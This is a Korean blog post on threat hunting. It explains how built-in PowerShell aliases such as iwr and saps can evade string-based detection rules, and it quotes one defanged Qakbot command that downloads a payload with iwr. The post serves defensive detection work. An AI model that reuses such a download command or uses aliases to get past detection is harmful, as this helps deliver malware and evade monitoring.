위협 찾기 및 PowerShell 별칭

이 기사에서는 Powershell 별칭이 무엇이며 Threat Hunting 활동을 수행하거나 탐지 규칙을 생성하는 동안 이를 염두에 두는 것이 중요한 이유에 대해 설명합니다.

별칭이란 무엇입니까?

이름에서 알 수 있듯이 별칭은 PowerShell cmdlet 또는 명령의 대체 이름입니다. 별칭이 만들어지면 원래 명령 대신 사용할 수 있습니다.

PS > New-Alias -Name goto -Value Set-Location

cmdlet은 Set-Location현재 폴더의 디렉터리를 변경하는 데 사용되며 위의 명령을 실행한 후 goto명령을 사용하여 간단히 디렉터리를 전환할 수 있습니다.

이제 별칭이 무엇이고 어떻게 작동하는지 알았으니 더 흥미진진한 내용으로 넘어가겠습니다.

내장 별칭

Powershell에는 이미 내장된 별칭이 있으며 실제로 별칭인지도 모른 채 사용하고 있을 것입니다. 예를 들면 다음과 같습니다.

• curl명령은 다음에 대한 내장 별칭입니다.Invoke-WebRequest
• cd명령(디렉토리 변경)은 다음에 대한 기본 제공 별칭입니다.Set-Location

#Show aliases for a particular cmdlet
 PS > Get-Alias -Definition Start-Process

 #List all the the cmdlets that have built-in aliases
 PS > Get-Alias

      

       built-in aliases for starting a process
      

      

       List of all cmdlets and its associated alias
      

공격자는 이를 문자열 기반 탐지 규칙에 대한 방어 회피 기법 으로 사용할 수 있습니다 .

@ pr0xylife 가 공유한 최근 Qakbot 샘플에서 감염 체인은 — .one > .wsf > .cmd > ps > .dll — 그리고 실행된 Powershell 명령은 별칭 중 하나인 iwr을 사용했습니다.Invoke-WebRequest

powereRshell.exe -C iwr http://xxxx.]com/images/150223.gif -OutFile rei.dat

TA에 의해 악용될 수 있는 잘 알려지지 않은 별칭이 많이 있으므로 가장 흥미로운 몇 가지로 작은 치트 시트를 만들었습니다.

마지막으로 Sysmon 이벤트 로그에 Start-Process사용하는 명령이 saps표시되는 방식입니다. 별칭이 원래 cmdlet으로 "변환"되지 않았음을 확인할 수 있습니다.

감지되지 않은 위협에 놓일 수 있는 내장 별칭을 모두 포함하지 않고 특정 Powershell cmdlet 문자열을 감지하기 위한 규칙을 개발하는 것은 정말 일반적입니다.

이 블로그에서 무언가를 배웠기를 바랍니다.

읽어주셔서 감사합니다. 즐거운 사냥하세요!